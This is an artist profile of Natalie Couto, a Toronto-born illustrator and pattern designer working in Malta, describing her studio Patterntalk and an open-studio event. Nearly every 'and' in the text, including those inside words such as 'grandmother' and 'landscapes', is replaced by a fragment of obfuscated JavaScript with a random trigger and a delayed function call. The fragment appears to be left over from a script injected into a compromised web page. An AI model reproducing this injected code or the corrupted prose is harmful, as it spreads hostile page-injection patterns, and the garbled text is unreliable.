Natalie Couto

Natalie Couto is an illustrator andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and surface pattern designer who moved to Malta from Toronto in 2015. She finds daily inspiration for her designs in the seaside, in nature andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in the ancient architecture of the Maltese Islandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands.

You can meet Natalie at her pop-up open studio on The Trail at DePorres Hall in Sliema, where she will be busy creating new designs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and chatting to visitors about the creative process behind her work. She will also be offering visitors the opportunity to recolour several of her digital designs, based on their own choice of colour palette.

As a young girl, Natalie would spend hours painting andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and drawing alongside her grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andmother, Annaliese, who enjoyed painting portraits, flowers, animals andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andscapes. Prior to moving to Malta,  however, Natalie worked in the hospitality sector, which allowed very little time for art. Natalie squeezed in just thirty minutes a day, during which time she drew tiles andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and patterns in 4’x 4 squares, a meditative as well as creative practice.

Moving across the world andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and living a different way of life gave Natalie the freedom to tap further into her creativity, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and she soon knew that she was hooked on creating these kinds of designs. Now, having set up her own design studio Patterntalk, Natalie enjoys drawing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and creating digital patterns for textiles andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and wallpapers. The style of her artwork varies from the delicate andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and intricate, to bold graphics with vibrant andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and often unusual colour combinations which serve as conversation pieces.

Natalie feels that pattern choices andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the colour in which they’re chosen speak volumes about a about a person’s cultural influences andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and approach to life. Browsing Natalie’s patterns, I feel I have an insight into Natalie herself – there’s chic contemporary leopard skin where azure seas lap at a palette from which an ochre crosses into wild grasses that, for me, capture a Canadian prairie where husks rustle in rich dark blue night skies. And I see Malta in the simple repeating retro patterns, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I’d love to know whether these are in part influenced by the simplicity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and primary colours of the traditional tiles underfoot her in the Middle Sea. But it is the tropical colours in many of her patterns that entrance me most of all – just looking I feel as if I am exploring an Amazonian rainforest, strong plants andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and magnificent blooms crisply designed for contemporary tastes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and homes. There’s excitement, a rainbow of variety andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a freedom of spirit corralled into crisp yet organic repeating patterns, inviting you to look again andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and explore further.” says art writer Esther Lafferty.